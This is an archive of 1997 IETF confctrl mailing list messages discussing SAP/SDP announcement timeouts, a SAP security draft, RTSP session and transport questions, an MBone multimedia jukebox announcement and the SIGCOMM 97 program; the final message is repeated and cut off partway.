Content-Id: <15140.865621357.1@extreme.jcmax.com>
Date: Fri, 06 Jun 1997 14:22:37 -0400
From: Tom Pusateri <pusateri@jnx.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

After having recently implemented listen-only versions of SAP and SDP
from the latest drafts, I'm wondering if there shouldn't be an easier way
for listen-only implementations to time-out announcements.

I can understand that if your implementation also originates annoucements,
that you need to know the bandwidth being consumed by each TTL scope.
However, this is more work than necessary for a listen-only implementation.

Since the originator knows the announcement period when it sends
the annoucement, I think it would make things much simpler if we could
add this field to the annoucement. If each annoucement would include
the lifetime of the annoucement, then we could get rid of a lot of
the guess work in when to timeout an annoucement and listen-only
implementations wouldn't have to keep statistics to determine what
this annoucement period is.

Thanks,
Tom


From majordom@ISI.EDU  Mon Jun 16 15:54:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19001>; Mon, 16 Jun 1997 06:56:22 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18993>; Mon, 16 Jun 1997 06:56:20 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-27)
	id <AA21045>; Mon, 16 Jun 1997 06:55:02 -0700
Received: from auchentoshan.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19991-0@bells.cs.ucl.ac.uk>; Mon, 16 Jun 1997 14:54:53 +0100
X-Mailer: exmh version 1.6.6 3/24/96
To: confctrl@ISI.EDU
Cc: E.Whelan@cs.ucl.ac.uk, P.Kirstein@cs.ucl.ac.uk,
        G.MontasserKohsari@cs.ucl.ac.uk
Subject: Open Issues on <draft-ietf-mmusic-sap-sec-01.txt>
Date: Mon, 16 Jun 1997 14:54:53 +0100
Message-Id: <8694.866469293@cs.ucl.ac.uk>
From: Edmund Whelan <E.Whelan@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



We are in the process of preparing the new draft of the above document, and
wish to solicit concerns.

 The minutes show the following:

Colin Perkins presented an overview of and open issues for the I-D 
"Specification of Security in SAP Using Public Key Algorithms" aka "SAP 
Security."  See the accompanying slides sap_security.ps.  SAP itself provides 
authentication hooks; this document attempts to define mechanisms that can be 
put on those hooks.  Open issues included whether the key id field in the SAP 
header was required: it was felt that this could move into a specific 
authentication block as both PGP and PKCS#7 have key id fields.  Discussion of
the need to define a standard privacy header, and whether the simple public key
format defined in the document (simplified form of PKCS#7) or full PKCS#7 (or 
both) should be used was deferred to discussion on the mailing list.

We propose a number of changes:

 - There should be a section explaining asymmetric encryption systems

 - There should be substantially more explaining the use of Session Encryption
   Keys with symmetric encryption for all the key exchange mechanisms

 - More rationale should be given about use of Session Encryption Keys and
   their distribution

 - There should be a Privacy Header - but only if strong encryption is used -
   with the Session Encryption Key encrypted with a strong algorithm, either
   symmetric (eg Triple DES) or asymmetric (PGP or PKCS#7).

 - We use the full PKCS#7 - even though it requires ASN.1 encoding. This
   means that S-MIME and PGP code can be used directly.

 - We plan to re-introduce complete certificates for Public Keys; there is no
   agreed Standard on using anything but full certificates to circulate such
   keys.

 - There is a better discussion of PKCS#7.

 - There is discussion of a Privacy Header, which is needed only if strong
   encryption is used to distribute the Session Encryption Key.

 - Better details are given on the Privacy Header.

 - We have removed any need to have the Privacy Header impact preceeding ones
   This Header determines whether PGP, PKCS#7 or strong encryption are used 
   for privacy.

We will be circulating the draft shortly; are there any generic points that
we have missed?

               Peter Kirstein and Edmund Whelan







From majordom@ISI.EDU  Mon Jun 16 06:58:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20155>; Mon, 16 Jun 1997 08:00:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA20149>; Mon, 16 Jun 1997 08:00:36 -0700
Received: from burdell.cc.gatech.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA10440>; Mon, 16 Jun 1997 08:00:34 -0700
Received: from grinch.cc.gatech.edu (grinch.cc.gatech.edu [130.207.8.42]) by burdell.cc.gatech.edu (8.8.4/8.6.9) with ESMTP id KAA11251; Mon, 16 Jun 1997 10:58:34 -0400 (EDT)
Received: (from kevin@localhost) by grinch.cc.gatech.edu (8.8.4/8.6.9) id KAA29963; Mon, 16 Jun 1997 10:58:31 -0400 (EDT)
Date: Mon, 16 Jun 1997 10:58:31 -0400 (EDT)
From: kevin@cc.gatech.edu (Kevin C. Almeroth)
Message-Id: <199706161458.KAA29963@grinch.cc.gatech.edu>
To: kevin@cc.gatech.edu
Subject: Sessions on the IMJ
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This e-mail is going out to a number of lists, and I cringe to do
it, but it is relevant to all...

I'm ready to announce that many of the sessions from the Memphis IETF
that were MBoned are now available on the IMJ (http://imj.gatech.edu)
for on-demand playback...  AVT, MMUSIC, IDMR, MBONED, TCPSAT, and
the multicast WWW BOF.  You can schedule programs via the WWW page and
start the MBone sessions via SDR (or the WWW page with a simple plug-in).

Other encoded sessions are forthcoming, but the turmoil of graduation, 
moving, etc might delay others.  (If anyone has a real interest in seeing 
something else in the very near future, please send me e-mail.)  In the 
future, I hope to have the sessions available much more rapidly.

Updates:  and just for those interested...  the imj has changed machines, 
but imj.gatech.edu moved with it.  Also MBone routing on campus has been
slightly upgraded (Solaris plus 3.9) so hopefully we'll be able to
avoid the memory leaks of 4.1.3.  Also, the volume problem on all the
new stuff should be fixed (thanks to an audio mixer),  and there is a
new section for oldies-but-goodies.

Finally, and as usual, I've included the originial IMJ e-mail 
announcement for those who haven't seen it.

Any suggestions for improvement are welcome.

-Kevin

              Announcing the Interactive Multimedia Jukebox


   At one point on the MBone list there was a discussion of what on-demand
servers exist or are being developed.  Well, I'd like to announce our 
version called the Interactive Multimedia Jukebox (IMJ).

  The IMJ web page is a request and scheduling interface for the playout 
of content over the MBone.  CONTENT IS ENCODED SO THAT IT CAN BE RECEIVED
WITH THE LATEST VERSIONS OF VIC AND VAT (ANY PLATFORM).

   The IMJ page is located at http://imj.gatech.edu.  Information about 
the IMJ including general info, a postscript version of a paper about the 
IMJ, how-to-use information, and how it was implemented can be found at 
http://www.cc.gatech.edu/computing/Telecomm/IMJ/.

   Some quick additional information about the IMJ is included below:


IMJ Audio/Video
-----------------
   The IMJ uses the WWW to submit requests which are then scheduled
for playout on the MBone.  Right now we are offering three channels:
Channels 1 and 2 are being broadcast at a TTL of 127.  Channel 3 is
for internal testing and has a a TTL of 15.  Each channel provides 
DVI-2 audio and 128 Kbps H.261 video.  The encoding was done using 
Henning Schulzrinne's rtpplay and rtpdump.

Scheduling
----------
   Program scheduling uses a set of criteria to decide on which channel
to schedule a program.  The current set of criteria are listed just
below the interactive schedule.  We are exploring lots of different
options.

Content
-------
   We have been working on the jukebox paradigm with Turner Broadcasting,
and as a result of their interest they have agreed to let us broadcast
content on the MBone.  I am particularly excited about this aspect because
of their help and interest in investigating new applications on the Internet.

   The plan is to add a new set of content about every two weeks.  When this 
happens, the old content will be moved to the secondary request menu for two 
weeks.  The old-old stuff will be removed.  Hopefully I'll be able to 
advertise on the MBone list when the new stuff is available.

Development Platform
--------------------
   As is mentioned in the paper on the IMJ information page we are using
the IMJ as a platform for a variety of research issues including
providing interactivity, supporting multiple heterogeneous streams,
video server organization, tracking usage, program scheduling, and
pricing.

Acknowledgments
----------------
   In addition to Turner Broadcasting, several other groups have made the
IMJ possible.  The GT Broadband Telecommunications Center sponsored much 
of the research and some of the equipment, and GT Office of Information 
Technology offered technical assistance and additional equipment.


Please send me any feedback or suggestions.  Thanks.

-Kevin Almeroth

From majordom@ISI.EDU  Mon Jun 16 07:33:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21359>; Mon, 16 Jun 1997 08:35:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21353>; Mon, 16 Jun 1997 08:35:10 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA11351>; Mon, 16 Jun 1997 08:35:09 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA00891; Mon, 16 Jun 1997 11:33:08 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Edmund Whelan <E.Whelan@cs.ucl.ac.uk>
Cc: confctrl@ISI.EDU, P.Kirstein@cs.ucl.ac.uk, G.MontasserKohsari@cs.ucl.ac.uk
Subject: Re: Open Issues on <draft-ietf-mmusic-sap-sec-01.txt> 
In-Reply-To: Your message of "Mon, 16 Jun 1997 14:54:53 BST."
             <8694.866469293@cs.ucl.ac.uk> 
Date: Mon, 16 Jun 1997 11:33:08 -0400
Message-Id: <889.866475188@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>We are in the process of preparing the new draft of the above document, and
>wish to solicit concerns.
...
>We propose a number of changes:

In principle these sound OK, but there isn't really enough detail to
be sure.

> - There should be a Privacy Header - but only if strong encryption is used -
>   with the Session Encryption Key encrypted with a strong algorithm, either
>   symmetric (eg Triple DES) or asymmetric (PGP or PKCS#7).

The SAP encryption model is that key distribution occurs out of band
along with information about *precisely* which encryption scheme is
used.  

So I wonder what your privacy header does.  If it is to identify which
encryption scheme is in use, then this does not seem a good idea.  If
it attempts to define a "standard" way of carrying a symmetric
encryption key encrypted with a public key scheme, then this seems OK.
Clearly the latter is not required with Triple-DES, so I fear you mean
the former.

Please elaborate...

> - We plan to re-introduce complete certificates for Public Keys; there is no
>   agreed Standard on using anything but full certificates to circulate such
>   keys.

I didn't understand the context of this - presumably you're not
talking about encryption here but authentication.  What is the
overhead imposed?  We abandoned the idea of using complete
certificates in the SAP packet for authentication originally because
we couldn't afford the space for an arbitrary length certificate.

Mark

From majordom@ISI.EDU  Mon Jun 16 05:59:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07916>; Mon, 16 Jun 1997 12:59:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA07910>; Mon, 16 Jun 1997 12:59:45 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA23805>; Mon, 16 Jun 1997 12:59:44 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
	id <NBPN4YFH>; Mon, 16 Jun 1997 13:01:28 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18039BD6FE@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: No entity in RTSP Teardown Method
Date: Mon, 16 Jun 1997 12:59:34 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Since the mailing list apparently has formed a consensus that Servers
can indeed initiate TEARDOWN methods due to any number of (catastrophic)
events, I believe that the TEARDOWN method must be revised to have an
entity capability (see Section 7) to permit the server to identify the
reason as to why a server-initiated TEARDOWN is occurring. If this is
not done, things could potentially get pretty confusing to a human
controlling the client.




From majordom@ISI.EDU  Tue Jun 17 00:23:55 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17061>; Mon, 16 Jun 1997 15:33:08 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17055>; Mon, 16 Jun 1997 15:33:05 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-27)
	id <AA01515>; Mon, 16 Jun 1997 15:33:02 -0700
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.11027-0@bells.cs.ucl.ac.uk>; Mon, 16 Jun 1997 23:23:55 +0100
To: Mark Handley <mjh@east.isi.edu>
Cc: Edmund Whelan <E.Whelan@cs.ucl.ac.uk>, confctrl@ISI.EDU,
        c.perkins@cs.ucl.ac.uk, P.Kirstein@cs.ucl.ac.uk,
        G.MontasserKohsari@cs.ucl.ac.uk, P.Kirstein@cs.ucl.ac.uk
Subject: Re: Open Issues on <draft-ietf-mmusic-sap-sec-01.txt>
In-Reply-To: Your message of "Mon, 16 Jun 1997 11:33:08 EDT." <889.866475188@buttle.lcs.mit.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Id: <8121.866499833.1@cs.ucl.ac.uk>
Date: Mon, 16 Jun 1997 23:23:55 +0100
Message-Id: <8131.866499835@cs.ucl.ac.uk>
From: Peter KIRSTEIN <P.Kirstein@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In message <889.866475188@buttle.lcs.mit.edu>you write:
>
>>We are in the process of preparing the new draft of the above document, and
>>wish to solicit concerns.
>...
>>We propose a number of changes:
>
>In principle these sound OK, but there isn't really enough detail to
>be sure.
>
>> - There should be a Privacy Header - but only if strong encryption is used -
>>   with the Session Encryption Key encrypted with a strong algorithm, either
>>   symmetric (eg Triple DES) or asymmetric (PGP or PKCS#7).
>
>The SAP encryption model is that key distribution occurs out of band
>along with information about *precisely* which encryption scheme is
>used.  
>
No, that is the model of the symmetric encryption, for which you and
Van  do not want to see any information about the encryption used. In
our modification af the previous draft, we have included versions of
hybrid information, in which there is no reason not to give some
information about the aynchronous key in the SAP announcement. I would
be interested to your reading both the reasons for our use of hybrid
encryption, and that it deals with your objections.

>So I wonder what your privacy header does.  If it is to identify which
>encryption scheme is in use, then this does not seem a good idea.  If
>it attempts to define a "standard" way of carrying a symmetric
>encryption key encrypted with a public key scheme, then this seems OK.
>Clearly the latter is not required with Triple-DES, so I fear you mean
>the former.

This is dealt with in the paper, so again, I welcom comments.
>
>Please elaborate...
>
>> - We plan to re-introduce complete certificates for Public Keys; there is no
>>   agreed Standard on using anything but full certificates to circulate such
>>   keys.
>
>I didn't understand the context of this - presumably you're not
>talking about encryption here but authentication.  What is the
>overhead imposed?  We abandoned the idea of using complete
>certificates in the SAP packet for authentication originally because
>we couldn't afford the space for an arbitrary length certificate.
>
I had always worried about this aspect in the authentication header.
Ed tod me that no objection had been raised to this aspect of the
authentication section of the paprevious draft of the papser. I am
writing this on a slow terminal, so please excuse erros.  We have
dealt with the need to have short cerrtifications paths to keep
certificates short. If you do not like that, we canalways use
certificate identifiers in the authentication header - though that is
not standard for PGP - but I do not care..


I think after you have read the current version, we should discuss it
either by a video conference or telephpne. I may find this difficult
while in the US. Iam back in Lonodn ony at the beginning of July - but
will read mail later this week.

On another matter, I hope that it will be possible to organise a day
meeting with you and Steve McCanne around the ACM meeting in NICER. It
woudl be ideal if that meeting was in London, but we could maek it
Cannes if you really wanted.

Peter
>Mark

From majordom@ISI.EDU  Mon Jun 16 10:09:48 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23460>; Mon, 16 Jun 1997 17:10:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23430>; Mon, 16 Jun 1997 17:09:55 -0700
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA05352>; Mon, 16 Jun 1997 17:09:50 -0700
Received: from scv4.apple.com (A17-128-100-142.apple.com [17.128.100.142])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id RAA17614
	for <confctrl@isi.edu>; Mon, 16 Jun 1997 17:07:28 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv4.apple.com (8.8.5/8.8.5) with ESMTP id RAA29448
	for <confctrl@isi.edu>; Mon, 16 Jun 1997 17:09:48 -0700
Date: Mon, 16 Jun 1997 17:09:48 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020901afcb208dacee@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: Relationship between RTSP URL and transport
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



Hi all,

Say I want to control an audio/video presentation with one RTSP URL,
i.e. do the SETUP, PLAY, etc. on one URL instead of one for audio
and one for video.

Then does that mean I have to use the same transport (RTP session)
for both the audio and video media data?

Unless we can send back 2 transport headers in the SETUP and the
response to the SETUP I don't see how the audio and video media
data can be sent in different RTP sessions.

Hence, if we are using RTP as the transport mechanism, is it
correct in assuming that I need to control the audio and video
with separate RTSP URLs?





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Tue Jun 17 04:11:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15740>; Tue, 17 Jun 1997 05:11:43 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA15734>; Tue, 17 Jun 1997 05:11:40 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA28866>; Tue, 17 Jun 1997 05:11:39 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA05458; Tue, 17 Jun 1997 08:11:37 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA11609; Tue, 17 Jun 1997 08:11:37 -0400 (EDT)
Message-Id: <33A67EF8.792A@cs.columbia.edu>
Date: Tue, 17 Jun 1997 08:11:36 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Alagu Periyannan <alagu@apple.com>
Cc: confctrl@ISI.EDU
Subject: Re: Relationship between RTSP URL and transport
References: <v03020901afcb208dacee@[17.255.20.120]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Alagu Periyannan wrote:
> 
> Hi all,
> 
> Say I want to control an audio/video presentation with one RTSP URL,
> i.e. do the SETUP, PLAY, etc. on one URL instead of one for audio
> and one for video.
> 
> Then does that mean I have to use the same transport (RTP session)
> for both the audio and video media data?
> 
> Unless we can send back 2 transport headers in the SETUP and the
> response to the SETUP I don't see how the audio and video media
> data can be sent in different RTP sessions.
> 
> Hence, if we are using RTP as the transport mechanism, is it
> correct in assuming that I need to control the audio and video
> with separate RTSP URLs?

Yes, a single RTSP session controls a single RTP stream. In some
circumstances, this RTP stream may contain several media (maybe it's an
MPEG transport stream).

Having a single RTSP session control several different (non-composite)
media streams was considered early on, but it gets really messy, as it
is hard to express the relationships between media streams without
inventing something like RTSL, possibly SDP or the SYMM description.
Thus, I'd expect to see a single URL, referring to a session description
of arbitrary complexity containing several RTSP URLs.

(Note: SYMM is the effort by the World-Wide Web Consortium to come up
with a common session/presentation/... description format. RTSL is
similar in some respects and part of the RealMedia SDK.)


> 
> ---------------------------------------------------
> Alagu Periyannan                   alagu@apple.com
> 
> Interactive Multimedia Group
> Apple Computer, Inc.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Tue Jun 17 05:43:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09335>; Tue, 17 Jun 1997 12:48:04 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09327>; Tue, 17 Jun 1997 12:48:02 -0700
Received: from precept.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA16089>; Tue, 17 Jun 1997 12:47:56 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id MAA21844; Tue, 17 Jun 1997 12:44:00 -0700
Date: Tue, 17 Jun 1997 12:43:11 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: Relationship between RTSP URL and transport
In-Reply-To: <33A67EF8.792A@cs.columbia.edu>
Message-Id: <Pine.WNT.3.95.970617104946.-448921A-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> Having a single RTSP session control several different (non-composite)
> media streams was considered early on, but it gets really messy, as it
> is hard to express the relationships between media streams without
> inventing something like RTSL, possibly SDP or the SYMM description.
> Thus, I'd expect to see a single URL, referring to a session description
> of arbitrary complexity containing several RTSP URLs.

This makes sense.

> (Note: SYMM is the effort by the World-Wide Web Consortium to come up
> with a common session/presentation/... description format. RTSL is
> similar in some respects and part of the RealMedia SDK.)

Do you have a pointer to more information on SYMM?  (I didn't find it
at www.w3c.org or in a web search).

Is RTSL intended to become an open (IETF?) specification?  If not,
then I wonder about using it in examples in the RTSP specification.

Has anyone, particularly Mark Handley, thought about how RTSP URLs
might be added to an SDP session description?
							-- Steve


From majordom@ISI.EDU  Wed Jun 18 19:46:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09887>; Wed, 18 Jun 1997 08:44:48 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09881>; Wed, 18 Jun 1997 08:44:47 -0700
Received: from alpes.eurecom.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA20151>; Wed, 18 Jun 1997 08:44:04 -0700
Received: from lilie.eurecom.fr (lilie.eurecom.fr [193.55.114.52]) by alpes.eurecom.fr (8.7.4/8.7.3) with ESMTP id RAA16672; Wed, 18 Jun 1997 17:46:57 +0200 (MET DST)
From: Biersack Ernst <Ernst.Biersack@eurecom.fr>
Received: (from erbi@localhost)
          by lilie.eurecom.fr (8.8.4/8.8.4)
	  id RAA16745; Wed, 18 Jun 1997 17:46:30 +0200 (MET DST)
Date: Wed, 18 Jun 1997 17:46:30 +0200 (MET DST)
Message-Id: <199706181546.RAA16745@lilie.eurecom.fr>
To: confctrl@isi.edu
Subject: SIGCOMM 97 final program
Cc: erbi@alpes.eurecom.fr
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


The annual ACM SIGCOMM 97 Conference on Applications, Technologies, Architectures 
and Protocols for Computer Communication will take place from September 14 to 18
in Cannes, France.

There are many good reasons why you should attend:

An outstanding technical program comprising
	- Tutorials: Sunday September 14 and Monday September 15 
	- Conference: Tuesday September 16 to Thursday (morning) September 18

A superb social program with:
	- Wine and cheese tasting: Monday September 15, 18:00 to 21:00
	- Pool session: Tuesday September 16, 19:00 to 22:00 around the Hotel 
		Majestic  pool

Workshops right after the conference:
	- Internet Simulations with the NS simulator: Thursday (afternoon) September 18
	- Reliable Multicast Meeting: Friday and Saturday September 19-20

Student travel Grants (application deadline July 1st !!)



Register now!!  (Early registration rates until August 1st)
For more information and the registrations forms see:

http://www.inria.fr/rodeo/sigcomm97/


Ernst Biersack
(SIGCOMM 97 publicity chair)

From majordom@ISI.EDU  Wed Jun 18 08:10:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01012>; Wed, 18 Jun 1997 15:11:44 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA01003>; Wed, 18 Jun 1997 15:11:39 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA07996>; Wed, 18 Jun 1997 15:11:38 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA23812
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Wed, 18 Jun 1997 15:13:08 -0700
Message-Id: <3.0.32.19970618151044.00e3c4a8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 18 Jun 1997 15:10:46 -0700
To: Stephen Casner <casner@precept.com>,
        Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Relationship between RTSP URL and transport
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:43 PM 6/17/97 -0700, Stephen Casner wrote:
>Is RTSL intended to become an open (IETF?) specification?  If not,
>then I wonder about using it in examples in the RTSP specification.

You're right.  It probably isn't appropriate at this point.  RTSL was
originally designed to be the a replacement for the .ram files in
RealAudio, and it currently serves that purpose in the RealMedia SDK.  In
the current RealMedia SDK, we are using a format with the working name of
RTSP-MH (RTSP Media Header), which is a hierarchical format not entirely
unlike the SDF format that Henning proposed last fall.  The primary
difference is that RTSP-MH is SGML-based.

We've been playing with the idea of merging the two, but haven't entirely
reconciled that yet.

I think it would be entirely appropriate to start talking about SDP-NG (to
use a tired suffix).  In the meantime, you are also correct that we should
make sure that we nail down SDP usage in RTSP prior to coming up with
fanciful designs for replacements.

How would people here want RTSP/SDP to be used for container files such as
Quicktime files or ASF or RealMedia files?  I'll summarize the ideas that
we have for this at PN, but I'd like see what others think.  The issues are:

*  In the unicast case, the client must pick the port.  How should that 
   port assignment be done?
*  If the server is responsible for accessing each stream within the file as 
   a separate URL, how do the stream URLs get communicated back to the client?
   What do those URLs look like?
*  If the server doesn't have a separate URLs for each stream, how does the 
   client request the different streams?

All food for thought.  I'll post a strawman by the end of the week for
people to beat up on :)

Rob





---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Thu Jun 19 07:39:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11008>; Thu, 19 Jun 1997 14:40:06 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA10993>; Thu, 19 Jun 1997 14:40:02 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19972>; Thu, 19 Jun 1997 14:39:59 -0700
Received: from scv4.apple.com (A17-128-100-142.apple.com [17.128.100.142])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id OAA34566
	for <confctrl@ISI.EDU>; Thu, 19 Jun 1997 14:37:53 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv4.apple.com (8.8.5/8.8.5) with ESMTP id OAA28524
	for <confctrl@ISI.EDU>; Thu, 19 Jun 1997 14:39:56 -0700
Date: Thu, 19 Jun 1997 14:39:56 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v0302091dafcef28cbc90@[17.255.20.120]>
In-Reply-To: <3.0.32.19970618151044.00e3c4a8@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Relationship between RTSP URL and transport
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 3:10 PM -0700 6/18/97, Rob Lanphier wrote:
>
>*  In the unicast case, the client must pick the port.  How should that
>   port assignment be done?

The SDP description can give a hint as to what port numbers to use.

The client can use the transport header in the SETUP to communicate
the actual port numbers to the RTSP server. The client will probably bind
to a dynamic port and let the local IP stack decide the port
number to be used. It must however make sure that the next higher
port number is also available for RTCP. Otherwise it should try
for another pair.

>*  If the server is responsible for accessing each stream within the file as
>   a separate URL, how do the stream URLs get communicated back to the client?
>   What do those URLs look like?
>*  If the server doesn't have a separate URLs for each stream, how does the
>   client request the different streams?
>

These are the same concerns that we have. This info. probably
needs to go into the SDP description as an "a=" tag.




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Thu Jun 19 07:39:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA11008>; Thu, 19 Jun 1997 14:40:06 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA10993>; Thu, 19 Jun 1997 14:40:02 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19972>; Thu, 19 Jun 1997 14:39:59 -0700
Received: from scv4.apple.com (A17-128-100-142.apple.com [17.128.100.142])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id OAA34566
	for <confctrl@ISI.EDU>; Thu, 19 Jun 1997 14:37:53 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv4.apple.com (8.8.5/8.8.5) with ESMTP id OAA28524
	for <confctrl@ISI.EDU>; Thu, 19 Jun 1997 14:39:56 -0700
Date: Thu, 19 Jun 1997 14:39:56 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v0302091dafcef28cbc90@[17.255.20.120]>
In-Reply-To: <3.0.32.19970618151044.00e3c4a8@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Relationship between RTSP URL and transport
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 3:10 PM -0700 6/18/97, Rob Lanphier wrote:
>
>*  In the unicast case, the client must pick the port.  How should that
>   port assignment be done?

The SDP description can give a hint as to what port numbers to use.

The client can use the transport header in the SETUP to communicate
the actual port numbers to the RTSP server. The client will probably bind
to a dynamic port and let the local IP stack decide the port
